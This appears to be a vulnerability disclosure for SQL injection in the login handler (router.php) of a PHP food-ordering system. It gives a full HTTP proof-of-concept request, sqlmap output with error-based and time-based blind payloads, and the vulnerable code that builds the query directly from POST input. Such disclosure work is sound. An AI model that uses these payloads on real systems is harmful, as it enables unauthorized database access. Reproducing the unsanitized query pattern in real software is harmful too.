vuls / Food Ordering Management System router.php SQL Injection.pdf

vuls Add files via upload History

1 contributor

38.3 KB

Food Ordering Management System router.php SQL Injection

Vendor Homepage

https://www.sourcecodester.com/php/15689/food-ordering-management-system-php-and-mysql-free-source-code.html

Source Code Download

https://www.sourcecodester.com/download-code?nid=15689&title=Food+Ordering+Management+System+in+PHP+and+MySQL+Free+Source+Code

Proof of Concept

```
POST /foms/routers/router.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 229
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

 username=1'||(SELECT 0x63687550 WHERE 1917=1917 AND (SELECT 1152 FROM(SELECT
COUNT(*),CONCAT(0x7176627671,(SELECT
(ELT(1152=1152,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=1
```

Sqlmap

```
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
    Payload: username=1'||(SELECT 0x63687550 WHERE 1917=1917 AND (SELECT 1152
FROM(SELECT COUNT(*),CONCAT(0x7176627671,(SELECT
(ELT(1152=1152,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1'||(SELECT 0x6e495646 WHERE 8929=8929 AND (SELECT 5028
FROM (SELECT(SLEEP(5)))FulY))||'&password=1
---
```

code

```php
<?php
include '../includes/connect.php';
$success=false;

$username = $_POST['username'];
$password = $_POST['password'];

$result = mysqli_query($con, "SELECT * FROM users WHERE username='$username' AND
role='Administrator' AND not deleted;");
```